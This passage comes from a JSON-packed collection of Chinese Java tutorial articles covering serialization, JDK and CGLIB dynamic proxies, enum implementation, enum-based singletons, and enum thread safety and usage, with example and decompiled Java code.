(userName.equals(\"Hollis\")) {\n            userNames.remove();\n        }\n    }\n    \n\n基于拷贝内容的优点是避免了ConcurrentModificationException，但同样地，迭代器并不能访问到修改后的内容，即：迭代器遍历的是开始遍历那一刻拿到的集合拷贝，在遍历期间原集合发生的修改迭代器是不知道的。\n\njava.util.concurrent包下的容器都是安全失败，可以在多线程下并发使用，并发修改。"
  },
  {
    "path": "docs/basics/java-basic/diff-serializable-vs-externalizable.md",
    "content": "Java中的类通过实现 `java.io.Serializable` 接口以启⽤其序列化功能。 未实现此接口的类将⽆法使其任何状态序列化或反序列化。 \n\n可序列化类的所有⼦类型本⾝都是可序列化的。 \n\n序列化接口没有⽅法或字段， 仅⽤于标识可序列化的语义。\n\n当试图对⼀个对象进⾏序列化的时候， 如果遇到不⽀持`Serializable` 接口的对象。 在此情况下， 将抛`NotSerializableException`。\n\n如果要序列化的类有⽗类， 要想同时将在⽗类中定义过的变量持久化下来， 那么⽗类也应该集成`java.io.Serializable`接口。\n\n`Externalizable`继承了`Serializable`， 该接口中定义了两个抽象⽅法：`writeExternal()`与`readExternal()`。 当使⽤`Externalizable`接口来进⾏序列化与反序列化的时候需要开发⼈员重写writeExternal()与readExternal()⽅法。 \n\n如果没有在这两个⽅法中定义序列化实现细节， 那么序列化之后， 对象内容为空。 \n\n实现`Externalizable`接口的类必须要提供⼀个`public`的⽆参的构造器。\n\n所以， 实现`Externalizable`， 并实现`writeExternal()`和`readExternal()`⽅法可以指定序列化哪些属性。\n"
  },
  {
    "path": "docs/basics/java-basic/dynamic-proxy-implementation.md",
    "content": "Java中，实现动态代理有两种方式：\n\n1、JDK动态代理：java.lang.reflect 包中的Proxy类和InvocationHandler接口提供了生成动态代理类的能力。\n\n2、Cglib动态代理：Cglib (Code Generation Library )是一个第三方代码生成类库，运行时在内存中动态生成一个子类对象从而实现对目标对象功能的扩展。\n\n关于这两种动态代理的写法本文就不深入展开了，读者感兴趣的话，后面我再写文章单独介绍。本文主要来简单说一下这两种动态代理的区别和用途。\n\nJDK动态代理和Cglib动态代理的区别  \n\nJDK的动态代理有一个限制，就是使用动态代理的对象必须实现一个或多个接口。如果想代理没有实现接口的类，就可以使用CGLIB实现。\n\nCglib是一个强大的高性能的代码生成包，它可以在运行期扩展Java类与实现Java接口。它广泛的被许多AOP的框架使用，例如Spring AOP和dynaop，为他们提供方法的interception（拦截）。\n\nCglib包的底层是通过使用一个小而快的字节码处理框架ASM，来转换字节码并生成新的类。不鼓励直接使用ASM，因为它需要你对JVM内部结构包括class文件的格式和指令集都很熟悉。\n\nCglib与动态代理最大的区别就是：\n\n使用动态代理的对象必须实现一个或多个接口\n\n使用cglib代理的对象则无需实现接口，达到代理类无侵入。\n\n### Java实现动态代理的大致步骤\n\n1、定义一个委托类和公共接口。\n\n2、自己定义一个类（调用处理器类，即实现 InvocationHandler 接口），这个类的目的是指定运行时将生成的代理类需要完成的具体任务（包括Preprocess和Postprocess），即代理类调用任何方法都会经过这个调用处理器类（在本文最后一节对此进行解释）。\n\n3、生成代理对象（当然也会生成代理类），需要为他指定(1)委托对象(2)实现的一系列接口(3)调用处理器类的实例。因此可以看出一个代理对象对应一个委托对象，对应一个调用处理器实例。\n\n### Java 实现动态代理主要涉及哪几个类\n\njava.lang.reflect.Proxy: 这是生成代理类的主类，通过 Proxy 类生成的代理类都继承了 Proxy 类，即 DynamicProxyClass extends Proxy。\n\njava.lang.reflect.InvocationHandler: 这里称他为\"调用处理器\"，他是一个接口，我们动态生成的代理类需要完成的具体内容需要自己定义一个类，而这个类必须实现 InvocationHandler 接口。\n\n\n### 动态代理实现\n\n使用动态代理实现功能：不改变Test类的情况下，在方法target 之前打印一句话，之后打印一句话。\n\n```\npublic class UserServiceImpl implements UserService {\n\n    @Override\n    public void add() {\n        // TODO Auto-generated method stub\n        System.out.println(\"--------------------add----------------------\");\n    }\n}\n```\n\n\n#### jdk动态代理\n\n```\npublic class MyInvocationHandler implements InvocationHandler {\n\n    private Object target;\n\n    public MyInvocationHandler(Object target) {\n\n        super();\n        this.target = target;\n\n    }\n\n    @Override\n    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {\n        PerformanceMonior.begin(target.getClass().getName()+\".\"+method.getName());\n        //System.out.println(\"-----------------begin \"+method.getName()+\"-----------------\");\n        Object result = method.invoke(target, args);\n        //System.out.println(\"-----------------end \"+method.getName()+\"-----------------\");\n        PerformanceMonior.end();\n        return result;\n    }\n\n    public Object getProxy(){\n\n        return Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), target.getClass().getInterfaces(), this);\n    }\n\n}\n\npublic static void main(String[] args) {\n\n  UserService service = new UserServiceImpl();\n  MyInvocationHandler handler = new MyInvocationHandler(service);\n  UserService proxy = (UserService) handler.getProxy();\n  proxy.add();\n}\n```\n\n### cglib动态代理\n```\npublic class CglibProxy implements MethodInterceptor{  \n private Enhancer enhancer = new Enhancer();  \n public Object getProxy(Class clazz){  \n  //设置需要创建子类的类  \n  enhancer.setSuperclass(clazz);  \n  enhancer.setCallback(this);  \n  //通过字节码技术动态创建子类实例  \n  return enhancer.create();  \n }  \n //实现MethodInterceptor接口方法  \n public Object intercept(Object obj, Method method, Object[] args,  \n   MethodProxy proxy) throws Throwable {  \n  System.out.println(\"前置代理\");  \n  //通过代理类调用父类中的方法  \n  Object result = proxy.invokeSuper(obj, args);  \n  System.out.println(\"后置代理\");  \n  return result;  \n }  \n}  \n\npublic class DoCGLib {  \n public static void main(String[] args) {  \n  CglibProxy proxy = new CglibProxy();  \n  //通过生成子类的方式创建代理类  \n  UserServiceImpl proxyImp = (UserServiceImpl)proxy.getProxy(UserServiceImpl.class);  \n  proxyImp.add();  \n }  \n}\n```\n"
  },
  {
    "path": "docs/basics/java-basic/dynamic-proxy-vs-reflection.md",
    "content": "反射是动态代理的一种实现方式。"
  },
  {
    "path": "docs/basics/java-basic/dynamic-proxy.md",
    "content": "前面介绍了[静态代理](/basics/java-basic/static-proxy.md)，虽然静态代理模式很好用，但是静态代理还是存在一些局限性的，比如使用静态代理模式需要程序员手写很多代码，这个过程是比较浪费时间和精力的。一旦需要代理的类中方法比较多，或者需要同时代理多个对象的时候，这无疑会增加很大的复杂度。\n\n有没有一种方法，可以不需要程序员自己手写代理类呢。这就是动态代理啦。\n\n动态代理中的代理类并不要求在编译期就确定，而是可以在运行期动态生成，从而实现对目标对象的代理功能。\n\n反射是动态代理的一种实现方式。"
  },
  {
    "path": "docs/basics/java-basic/enum-class.md",
    "content": "Java中定义枚举是使用enum关键字的，但是Java中其实还有一个java.lang.Enum类。这是一个抽象类，定义如下：\n\n\n    package java.lang;\n\n    public abstract class Enum<E extends Enum<E>> implements Constable, Comparable<E>, Serializable {\n        private final String name;\n        private final int ordinal;\n\n    }\n    \n这个类我们在日常开发中不会用到，但是其实我们使用enum定义的枚举，其实现方式就是通过继承Enum类实现的。\n\n当我们使用enum来定义一个枚举类型的时候，编译器会自动帮我们创建一个final类型的类继承Enum类，所以枚举类型不能被继承。"
  },
  {
    "path": "docs/basics/java-basic/enum-compare.md",
    "content": "java 枚举值比较用 == 和 equals 方法没啥区别，两个随便用都是一样的效果。\n\n因为枚举 Enum 类的 equals 方法默认实现就是通过 == 来比较的；\n\n类似的 Enum 的 compareTo 方法比较的是 Enum 的 ordinal 顺序大小；\n\n类似的还有 Enum 的 name 方法和 toString 方法一样都返回的是 Enum 的 name 值。"
  },
  {
    "path": "docs/basics/java-basic/enum-impl.md",
    "content": "Java SE5提供了一种新的类型-Java的枚举类型，关键字enum可以将一组具名的值的有限集合创建为一种新的类型，而这些具名的值可以作为常规的程序组件使用，这是一种非常有用的功能。\n\n要想看源码，首先得有一个类吧，那么枚举类型到底是什么类呢？是enum吗？答案很明显不是，enum就和class一样，只是一个关键字，他并不是一个类，那么枚举是由什么类维护的呢，我们简单的写一个枚举：\n\n    public enum t {\n        SPRING,SUMMER;\n    }\n然后我们使用反编译，看看这段代码到底是怎么实现的，反编译后代码内容如下：\n\n    public final class T extends Enum\n    {\n        private T(String s, int i)\n        {\n            super(s, i);\n        }\n        public static T[] values()\n        {\n            T at[];\n            int i;\n            T at1[];\n            System.arraycopy(at = ENUM$VALUES, 0, at1 = new T[i = at.length], 0, i);\n            return at1;\n        }\n    \n        public static T valueOf(String s)\n        {\n            return (T)Enum.valueOf(demo/T, s);\n        }\n    \n        public static final T SPRING;\n        public static final T SUMMER;\n        private static final T ENUM$VALUES[];\n        static\n        {\n            SPRING = new T(\"SPRING\", 0);\n            SUMMER = new T(\"SUMMER\", 1);\n            ENUM$VALUES = (new T[] {\n                SPRING, SUMMER\n            });\n        }\n    }\n    \n通过反编译代码我们可以看到，public final class T extends Enum，说明，该类是继承了Enum类的，同时final关键字告诉我们，这个类也是不能被继承的。\n\n当我们使用enmu来定义一个枚举类型的时候，编译器会自动帮我们创建一个final类型的类继承Enum类，所以枚举类型不能被继承。\n"
  },
  {
    "path": "docs/basics/java-basic/enum-serializable.md",
    "content": "> 写在前面：Java SE5提供了一种新的类型-<a href=\"/archives/195\" target=\"_blank\">Java的枚举类型</a>，关键字enum可以将一组具名的值的有限集合创建为一种新的类型，而这些具名的值可以作为常规的程序组件使用，这是一种非常有用的功能。本文将深入分析枚举的源码，看一看枚举是怎么实现的，他是如何保证线程安全的，以及为什么用枚举实现的单例是最好的方式。\n\n<!--more-->\n\n### 枚举是如何保证线程安全的\n\n要想看源码，首先得有一个类吧，那么枚举类型到底是什么类呢？是enum吗？答案很明显不是，enum就和class一样，只是一个关键字，他并不是一个类，那么枚举是由什么类维护的呢，我们简单的写一个枚举：\n\n    public enum t {\n        SPRING,SUMMER,AUTUMN,WINTER;\n    }\n    \n\n然后我们使用反编译，看看这段代码到底是怎么实现的，反编译（<a href=\"/archives/58\" target=\"_blank\">Java的反编译</a>）后代码内容如下：\n\n    public final class T extends Enum\n    {\n        private T(String s, int i)\n        {\n            super(s, i);\n        }\n        public static T[] values()\n        {\n            T at[];\n            int i;\n            T at1[];\n            System.arraycopy(at = ENUM$VALUES, 0, at1 = new T[i = at.length], 0, i);\n            return at1;\n        }\n    \n        public static T valueOf(String s)\n        {\n            return (T)Enum.valueOf(demo/T, s);\n        }\n    \n        public static final T SPRING;\n        public static final T SUMMER;\n        public static final T AUTUMN;\n        public static final T WINTER;\n        private static final T ENUM$VALUES[];\n        static\n        {\n            SPRING = new T(\"SPRING\", 0);\n            SUMMER = new T(\"SUMMER\", 1);\n            AUTUMN = new T(\"AUTUMN\", 2);\n            WINTER = new T(\"WINTER\", 3);\n            ENUM$VALUES = (new T[] {\n                SPRING, SUMMER, AUTUMN, WINTER\n            });\n        }\n    }\n    \n\n通过反编译后代码我们可以看到，`public final class T extends Enum`，说明，该类是继承了Enum类的，同时final关键字告诉我们，这个类也是不能被继承的。当我们使用`enum`来定义一个枚举类型的时候，编译器会自动帮我们创建一个final类型的类继承Enum类,所以枚举类型不能被继承，我们看到这个类中有几个属性和方法。\n\n我们可以看到：\n\n            public static final T SPRING;\n            public static final T SUMMER;\n            public static final T AUTUMN;\n            public static final T WINTER;\n            private static final T ENUM$VALUES[];\n            static\n            {\n                SPRING = new T(\"SPRING\", 0);\n                SUMMER = new T(\"SUMMER\", 1);\n                AUTUMN = new T(\"AUTUMN\", 2);\n                WINTER = new T(\"WINTER\", 3);\n                ENUM$VALUES = (new T[] {\n                    SPRING, SUMMER, AUTUMN, WINTER\n                });\n            }\n    \n\n都是static类型的，因为static类型的属性会在类被加载之后被初始化，我们在<a href=\"/archives/199\" target=\"_blank\">深度分析Java的ClassLoader机制（源码级别）</a>和<a href=\"/archives/201\" target=\"_blank\">Java类的加载、链接和初始化</a>两个文章中分别介绍过，当一个Java类第一次被真正使用到的时候静态资源被初始化、Java类的加载和初始化过程都是线程安全的。所以，**创建一个enum类型是线程安全的**。\n\n### 为什么用枚举实现的单例是最好的方式\n\n在<a href=\"/archives/205\" target=\"_blank\">[转+注]单例模式的七种写法</a>中，我们看到一共有七种实现单例的方式，其中，**Effective Java**作者`Josh Bloch` 提倡使用枚举的方式，既然大神说这种方式好，那我们就要知道它为什么好？\n\n**1\\. 枚举写法简单**\n\n> 写法简单这个大家看看<a hrerf=\"/archives/205\" target=\"_blank\">[转+注]单例模式的七种写法</a>里面的实现就知道区别了。\n\n    public enum EasySingleton{\n        INSTANCE;\n    }\n    \n\n你可以通过`EasySingleton.INSTANCE`来访问。\n\n**2\\. 枚举自己处理序列化**\n\n> 我们知道，以前的所有的单例模式都有一个比较大的问题，就是一旦实现了Serializable接口之后，就不再是单例的了，因为，每次调用 readObject()方法返回的都是一个新创建出来的对象，有一种解决办法就是使用readResolve()方法来避免此事发生。但是，**为了保证枚举类型像Java规范中所说的那样，每一个枚举类型及其定义的枚举变量在JVM中都是唯一的，在枚举类型的序列化和反序列化上，Java做了特殊的规定。**原文如下：\n> \n> > Enum constants are serialized differently than ordinary serializable or externalizable objects. The serialized form of an enum constant consists solely of its name; field values of the constant are not present in the form. To serialize an enum constant, ObjectOutputStream writes the value returned by the enum constant's name method. To deserialize an enum constant, ObjectInputStream reads the constant name from the stream; the deserialized constant is then obtained by calling the java.lang.Enum.valueOf method, passing the constant's enum type along with the received constant name as arguments. Like other serializable or externalizable objects, enum constants can function as the targets of back references appearing subsequently in the serialization stream. The process by which enum constants are serialized cannot be customized: any class-specific writeObject, readObject, readObjectNoData, writeReplace, and readResolve methods defined by enum types are ignored during serialization and deserialization. Similarly, any serialPersistentFields or serialVersionUID field declarations are also ignored--all enum types have a fixedserialVersionUID of 0L. Documenting serializable fields and data for enum types is unnecessary, since there is no variation in the type of data sent.\n> \n> 大概意思就是说，在序列化的时候Java仅仅是将枚举对象的name属性输出到结果中，反序列化的时候则是通过java.lang.Enum的valueOf方法来根据名字查找枚举对象。同时，编译器是不允许任何对这种序列化机制的定制的，因此禁用了writeObject、readObject、readObjectNoData、writeReplace和readResolve等方法。 我们看一下这个`valueOf`方法：\n\n    public static <T extends Enum<T>> T valueOf(Class<T> enumType,String name) {  \n                T result = enumType.enumConstantDirectory().get(name);  \n                if (result != null)  \n                    return result;  \n                if (name == null)  \n                    throw new NullPointerException(\"Name is null\");  \n                throw new IllegalArgumentException(  \n                    \"No enum const \" + enumType +\".\" + name);  \n            }  \n    \n\n从代码中可以看到，代码会尝试从调用`enumType`这个`Class`对象的`enumConstantDirectory()`方法返回的`map`中获取名字为`name`的枚举对象，如果不存在就会抛出异常。再进一步跟到`enumConstantDirectory()`方法，就会发现到最后会以反射的方式调用`enumType`这个类型的`values()`静态方法，也就是上面我们看到的编译器为我们创建的那个方法，然后用返回结果填充`enumType`这个`Class`对象中的`enumConstantDirectory`属性。\n\n所以，**JVM对序列化有保证。**\n\n**3\\.枚举实例创建是thread-safe(线程安全的)**\n\n> 我们在<a href=\"/archives/199\" target=\"_blank\">深度分析Java的ClassLoader机制（源码级别）</a>和<a href=\"/archives/201\" target=\"_blank\">Java类的加载、链接和初始化</a>两个文章中分别介绍过，当一个Java类第一次被真正使用到的时候静态资源被初始化、Java类的加载和初始化过程都是线程安全的。所以，**创建一个enum类型是线程安全的**。\n"
  },
  {
    "path": "docs/basics/java-basic/enum-singleton.md",
    "content": "关于单例模式，我的博客中有很多文章介绍过。作为23种设计模式中最为常用的设计模式，单例模式并没有想象的那么简单。因为在设计单例的时候要考虑很多问题，比如线程安全问题、序列化对单例的破坏等。\n\n单例相关文章一览：\n\n[设计模式（二）——单例模式][1]  \n[设计模式（三）——JDK中的那些单例][2]  \n[单例模式的七种写法][3]  \n[单例与序列化的那些事儿][4]  \n[不使用synchronized和lock，如何实现一个线程安全的单例？][5]  \n[不使用synchronized和lock，如何实现一个线程安全的单例？（二）][6] \n\n如果你对单例不是很了解，或者对于单例的线程安全问题以及序列化会破坏单例等问题不是很清楚，可以先阅读以上文章。上面六篇文章看完之后，相信你一定会对单例模式有更多，更深入的理解。\n\n我们知道，单例模式，一般有七种写法，那么这七种写法中，最好的是哪一种呢？为什么呢？本文就来抽丝剥茧一下。\n\n### 哪种写单例的方式最好\n\n在StackOverflow中，有一个关于[What is an efficient way to implement a singleton pattern in Java?][7]的讨论：\n\n<img src=\"https://www.hollischuang.com/wp-content/uploads/2018/06/enum.png\" alt=\"\" width=\"1500\" height=\"1158\" class=\"aligncenter size-full wp-image-3683\" />\n\n如上图，得票率最高的回答是：使用枚举。\n\n回答者引用了Joshua Bloch大神在《Effective Java》中明确表达过的观点：\n\n> 使用枚举实现单例的方法虽然还没有广泛采用，但是单元素的枚举类型已经成为实现Singleton的最佳方法。\n\n如果你真的深入理解了单例的用法以及一些可能存在的坑的话，那么你也许也能得到相同的结论，那就是：使用枚举实现单例是一种很好的方法。\n\n### 枚举单例写法简单\n\n如果你看过《[单例模式的七种写法][3]》中的实现单例的所有方式的代码，那就会发现，各种方式实现单例的代码都比较复杂。主要原因是在考虑线程安全问题。\n\n我们简单对比下“双重校验锁”方式和枚举方式实现单例的代码。\n\n“双重校验锁”实现单例：\n\n    public class Singleton {  \n        private volatile static Singleton singleton;  \n        private Singleton (){}  \n        public static Singleton getSingleton() {  \n            if (singleton == null) {  \n                synchronized (Singleton.class) {  \n                    if (singleton == null) {  \n                        singleton = new Singleton();  \n                    }  \n                }  \n            }  \n            return singleton;  \n        }  \n    }  \n    \n\n枚举实现单例：\n\n    public enum Singleton {  \n        INSTANCE;  \n        public void whateverMethod() {  \n        }  \n    }  \n    \n\n相比之下，你就会发现，枚举实现单例的代码会精简很多。\n\n上面的双重锁校验的代码之所以很臃肿，是因为大部分代码都是在保证线程安全。为了在保证线程安全和锁粒度之间做权衡，代码难免会写的复杂些。但是，这段代码还是有问题的，因为他无法解决反序列化会破坏单例的问题。\n\n### 枚举可解决线程安全问题\n\n上面提到过。使用非枚举的方式实现单例，都要自己来保证线程安全，所以，这就导致其他方法必然是比较臃肿的。那么，为什么使用枚举就不需要解决线程安全问题呢？\n\n其实，并不是使用枚举就不需要保证线程安全，只不过线程安全的保证不需要我们关心而已。也就是说，其实在“底层”还是做了线程安全方面的保证的。\n\n那么，“底层”到底指的是什么？\n\n这就要说到关于枚举的实现了。这部分内容可以参考我的另外一篇博文[深度分析Java的枚举类型—-枚举的线程安全性及序列化问题][8]，这里我简单说明一下：\n\n定义枚举时使用enum和class一样，是Java中的一个关键字。就像class对应用一个Class类一样，enum也对应有一个Enum类。\n\n通过将定义好的枚举[反编译][9]，我们就能发现，其实枚举在经过`javac`的编译之后，会被转换成形如`public final class T extends Enum`的定义。\n\n而且，枚举中的各个枚举项同时通过`static`来定义的。如：\n\n    public enum T {\n        SPRING,SUMMER,AUTUMN,WINTER;\n    }\n    \n\n反编译后代码为：\n\n    public final class T extends Enum\n    {\n        //省略部分内容\n        public static final T SPRING;\n        public static final T SUMMER;\n        public static final T AUTUMN;\n        public static final T WINTER;\n        private static final T ENUM$VALUES[];\n        static\n        {\n            SPRING = new T(\"SPRING\", 0);\n            SUMMER = new T(\"SUMMER\", 1);\n            AUTUMN = new T(\"AUTUMN\", 2);\n            WINTER = new T(\"WINTER\", 3);\n            ENUM$VALUES = (new T[] {\n                SPRING, SUMMER, AUTUMN, WINTER\n            });\n        }\n    }\n    \n\n了解JVM的类加载机制的朋友应该对这部分比较清楚。`static`类型的属性会在类被加载之后被初始化，我们在[深度分析Java的ClassLoader机制（源码级别）][10]和[Java类的加载、链接和初始化][11]两个文章中分别介绍过，当一个Java类第一次被真正使用到的时候静态资源被初始化、Java类的加载和初始化过程都是线程安全的（因为虚拟机在加载枚举的类的时候，会使用ClassLoader的loadClass方法，而这个方法使用同步代码块保证了线程安全）。所以，创建一个enum类型是线程安全的。\n\n也就是说，我们定义的一个枚举，在第一次被真正用到的时候，会被虚拟机加载并初始化，而这个初始化过程是线程安全的。而我们知道，解决单例的并发问题，主要解决的就是初始化过程中的线程安全问题。\n\n所以，由于枚举的以上特性，枚举实现的单例是天生线程安全的。\n\n### 枚举可解决反序列化会破坏单例的问题\n\n前面我们提到过，就是使用双重校验锁实现的单例其实是存在一定问题的，就是这种单例有可能被序列化锁破坏，关于这种破坏及解决办法，参看[单例与序列化的那些事儿][4]，这里不做更加详细的说明了。\n\n那么，对于序列化这件事情，为什么枚举又有先天的优势了呢？答案可以在[Java Object Serialization Specification][12] 中找到答案。其中专门对枚举的序列化做了如下规定：\n\n<img src=\"http://www.hollischuang.com/wp-content/uploads/2018/06/serialization.png\" alt=\"serialization\" width=\"1406\" height=\"259\" class=\"aligncenter size-full wp-image-2502\" />\n\n大概意思就是：在序列化的时候Java仅仅是将枚举对象的name属性输出到结果中，反序列化的时候则是通过`java.lang.Enum`的`valueOf`方法来根据名字查找枚举对象。同时，编译器是不允许任何对这种序列化机制的定制的，因此禁用了`writeObject`、`readObject`、`readObjectNoData`、`writeReplace`和`readResolve`等方法。\n\n普通的Java类的反序列化过程中，会通过反射调用类的默认构造函数来初始化对象。所以，即使单例中构造函数是私有的，也会被反射给破坏掉。由于反序列化后的对象是重新new出来的，所以这就破坏了单例。\n\n但是，枚举的反序列化并不是通过反射实现的。所以，也就不会发生由于反序列化导致的单例破坏问题。这部分内容在[深度分析Java的枚举类型—-枚举的线程安全性及序列化问题][8]中也有更加详细的介绍，还展示了部分代码，感兴趣的朋友可以前往阅读。\n\n### 总结\n\n在所有的单例实现方式中，枚举是一种在代码写法上最简单的方式，之所以代码十分简洁，是因为Java给我们提供了`enum`关键字，我们便可以很方便的声明一个枚举类型，而不需要关心其初始化过程中的线程安全问题，因为枚举类在被虚拟机加载的时候会保证线程安全的被初始化。\n\n除此之外，在序列化方面，Java中有明确规定，枚举的序列化和反序列化是有特殊定制的。这就可以避免反序列化过程中由于反射而导致的单例被破坏问题。\n\n [1]: http://www.hollischuang.com/archives/1373\n [2]: http://www.hollischuang.com/archives/1383\n [3]: http://www.hollischuang.com/archives/205\n [4]: http://www.hollischuang.com/archives/1144\n [5]: http://www.hollischuang.com/archives/1860\n [6]: http://www.hollischuang.com/archives/1866\n [7]: https://stackoverflow.com/questions/70689/what-is-an-efficient-way-to-implement-a-singleton-pattern-in-java\n [8]: http://www.hollischuang.com/archives/197\n [9]: http://www.hollischuang.com/archives/58\n [10]: http://www.hollischuang.com/archives/199\n [11]: http://www.hollischuang.com/archives/201\n [12]: https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serial-arch.html#6469\n"
  },
  {
    "path": "docs/basics/java-basic/enum-switch.md",
    "content": "Java 1.7 之前 switch 参数可用类型为 short、byte、int、char，枚举类型之所以能使用其实是编译器层面实现的\n\n编译器会将枚举 switch 转换为类似 \n\n```\nswitch(s.ordinal()) { \n    case Status.START.ordinal() \n}\n \n```\n\n \n形式，所以实质还是 int 参数类型，感兴趣的可以自己写个使用枚举的 switch 代码然后通过 javap -v 去看下字节码就明白了。"
  },
  {
    "path": "docs/basics/java-basic/enum-thread-safe.md",
    "content": "### 枚举是如何保证线程安全的\n\n要想看源码，首先得有一个类吧，那么枚举类型到底是什么类呢？是enum吗？答案很明显不是，enum就和class一样，只是一个关键字，他并不是一个类，那么枚举是由什么类维护的呢，我们简单的写一个枚举：\n\n    public enum t {\n        SPRING,SUMMER,AUTUMN,WINTER;\n    }\n    \n\n然后我们使用反编译，看看这段代码到底是怎么实现的，反编译（<a href=\"/archives/58\" target=\"_blank\">Java的反编译</a>）后代码内容如下：\n\n    public final class T extends Enum\n    {\n        private T(String s, int i)\n        {\n            super(s, i);\n        }\n        public static T[] values()\n        {\n            T at[];\n            int i;\n            T at1[];\n            System.arraycopy(at = ENUM$VALUES, 0, at1 = new T[i = at.length], 0, i);\n            return at1;\n        }\n    \n        public static T valueOf(String s)\n        {\n            return (T)Enum.valueOf(demo/T, s);\n        }\n    \n        public static final T SPRING;\n        public static final T SUMMER;\n        public static final T AUTUMN;\n        public static final T WINTER;\n        private static final T ENUM$VALUES[];\n        static\n        {\n            SPRING = new T(\"SPRING\", 0);\n            SUMMER = new T(\"SUMMER\", 1);\n            AUTUMN = new T(\"AUTUMN\", 2);\n            WINTER = new T(\"WINTER\", 3);\n            ENUM$VALUES = (new T[] {\n                SPRING, SUMMER, AUTUMN, WINTER\n            });\n        }\n    }\n    \n\n通过反编译后代码我们可以看到，`public final class T extends Enum`，说明，该类是继承了Enum类的，同时final关键字告诉我们，这个类也是不能被继承的。当我们使用`enmu`来定义一个枚举类型的时候，编译器会自动帮我们创建一个final类型的类继承Enum类,所以枚举类型不能被继承，我们看到这个类中有几个属性和方法。\n\n我们可以看到：\n\n            public static final T SPRING;\n            public static final T SUMMER;\n            public static final T AUTUMN;\n            public static final T WINTER;\n            private static final T ENUM$VALUES[];\n            static\n            {\n                SPRING = new T(\"SPRING\", 0);\n                SUMMER = new T(\"SUMMER\", 1);\n                AUTUMN = new T(\"AUTUMN\", 2);\n                WINTER = new T(\"WINTER\", 3);\n                ENUM$VALUES = (new T[] {\n                    SPRING, SUMMER, AUTUMN, WINTER\n                });\n            }\n    \n\n都是static类型的，因为static类型的属性会在类被加载之后被初始化，我们在<a href=\"/archives/199\" target=\"_blank\">深度分析Java的ClassLoader机制（源码级别）</a>和<a href=\"/archives/201\" target=\"_blank\">Java类的加载、链接和初始化</a>两个文章中分别介绍过，当一个Java类第一次被真正使用到的时候静态资源被初始化、Java类的加载和初始化过程都是线程安全的。所以，**创建一个enum类型是线程安全的**。\n"
  },
  {
    "path": "docs/basics/java-basic/enum-usage.md",
    "content": "\n### 1 背景\n\n在`java`语言中还没有引入枚举类型之前，表示枚举类型的常用模式是声明一组具有`int`常量。之前我们通常利用`public final static` 方法定义的代码如下，分别用1 表示春天，2表示夏天，3表示秋天，4表示冬天。\n\n    public class Season {\n        public static final int SPRING = 1;\n        public static final int SUMMER = 2;\n        public static final int AUTUMN = 3;\n        public static final int WINTER = 4;\n    }\n    \n\n这种方法称作int枚举模式。可这种模式有什么问题呢，我们都用了那么久了，应该没问题的。通常我们写出来的代码都会考虑它的**安全性**、**易用性**和**可读性**。 首先我们来考虑一下它的类型**安全性**。当然**这种模式不是类型安全的**。比如说我们设计一个函数，要求传入春夏秋冬的某个值。但是使用int类型，我们无法保证传入的值为合法。代码如下所示：\n\n    private String getChineseSeason(int season){\n            StringBuffer result = new StringBuffer();\n            switch(season){\n                case Season.SPRING :\n                    result.append(\"春天\");\n                    break;\n                case Season.SUMMER :\n                    result.append(\"夏天\");\n                    break;\n                case Season.AUTUMN :\n                    result.append(\"秋天\");\n                    break;\n                case Season.WINTER :\n                    result.append(\"冬天\");\n                    break;\n                default :\n                    result.append(\"地球没有的季节\");\n                    break;\n            }\n            return result.toString();\n        }\n    \n        public void doSomething(){\n            System.out.println(this.getChineseSeason(Season.SPRING));//这是正常的场景\n    \n            System.out.println(this.getChineseSeason(5));//这个却是不正常的场景，这就导致了类型不安全问题\n        }\n    \n\n程序`getChineseSeason(Season.SPRING)`是我们预期的使用方法。可`getChineseSeason(5)`显然就不是了，而且编译会通过，在运行时会出现什么情况，我们就不得而知了。这显然就不符合`Java`程序的类型安全。\n\n接下来我们来考虑一下这种模式的**可读性**。使用枚举的大多数场合，我都需要方便得到枚举类型的字符串表达式。如果将`int`枚举常量打印出来，我们所见到的就是一组数字，这没什么太大的用处。我们可能会想到使用`String`常量代替`int`常量。虽然它为这些常量提供了可打印的字符串，但是它会导致性能问题，因为它依赖于字符串的比较操作，所以这种模式也是我们不期望的。 从**类型安全性**和**程序可读性**两方面考虑，`int`和`String`枚举模式的缺点就显露出来了。幸运的是，从`Java1.5`发行版本开始，就提出了另一种可以替代的解决方案，可以避免`int`和`String`枚举模式的缺点，并提供了许多额外的好处。那就是枚举类型（`enum type`）。接下来的章节将介绍枚举类型的定义、特征、应用场景和优缺点。\n\n### 2 定义\n\n枚举类型（`enum type`）是指由一组固定的常量组成合法的类型。`Java`中由关键字`enum`来定义一个枚举类型。下面就是`java`枚举类型的定义。\n\n    public enum Season {\n        SPRING, SUMMER, AUTUMN, WINTER;\n    }\n    \n\n### 3 特点\n\n`Java`定义枚举类型的语句很简约。它有以下特点：\n\n> 1) 使用关键字`enum` 2) 类型名称，比如这里的`Season` 3) 一串允许的值，比如上面定义的春夏秋冬四季 4) 枚举可以单独定义在一个文件中，也可以嵌在其它`Java`类中\n\n除了这样的基本要求外，用户还有一些其他选择\n\n> 5) 枚举可以实现一个或多个接口（Interface） 6) 可以定义新的变量 7) 可以定义新的方法 8) 可以定义根据具体枚举值而相异的类\n\n### 4 应用场景\n\n以在背景中提到的类型安全为例，用枚举类型重写那段代码。代码如下：\n\n    public enum Season {\n        SPRING(1), SUMMER(2), AUTUMN(3), WINTER(4);\n    \n        private int code;\n        private Season(int code){\n            this.code = code;\n        }\n    \n        public int getCode(){\n            return code;\n        }\n    }\n    public class UseSeason {\n        /**\n         * 将英文的季节转换成中文季节\n         * @param season\n         * @return\n         */\n        public String getChineseSeason(Season season){\n            StringBuffer result = new StringBuffer();\n            switch(season){\n                case SPRING :\n                    result.append(\"[中文：春天，枚举常量:\" + season.name() + \"，数据:\" + season.getCode() + \"]\");\n                    break;\n                case AUTUMN :\n                    result.append(\"[中文：秋天，枚举常量:\" + season.name() + \"，数据:\" + season.getCode() + \"]\");\n                    break;\n                case SUMMER : \n                    result.append(\"[中文：夏天，枚举常量:\" + season.name() + \"，数据:\" + season.getCode() + \"]\");\n                    break;\n                case WINTER :\n                    result.append(\"[中文：冬天，枚举常量:\" + season.name() + \"，数据:\" + season.getCode() + \"]\");\n                    break;\n                default :\n                    result.append(\"地球没有的季节 \" + season.name());\n                    break;\n            }\n            return result.toString();\n        }\n    \n        public void doSomething(){\n            for(Season s : Season.values()){\n                System.out.println(getChineseSeason(s));//这是正常的场景\n            }\n            //System.out.println(getChineseSeason(5));\n            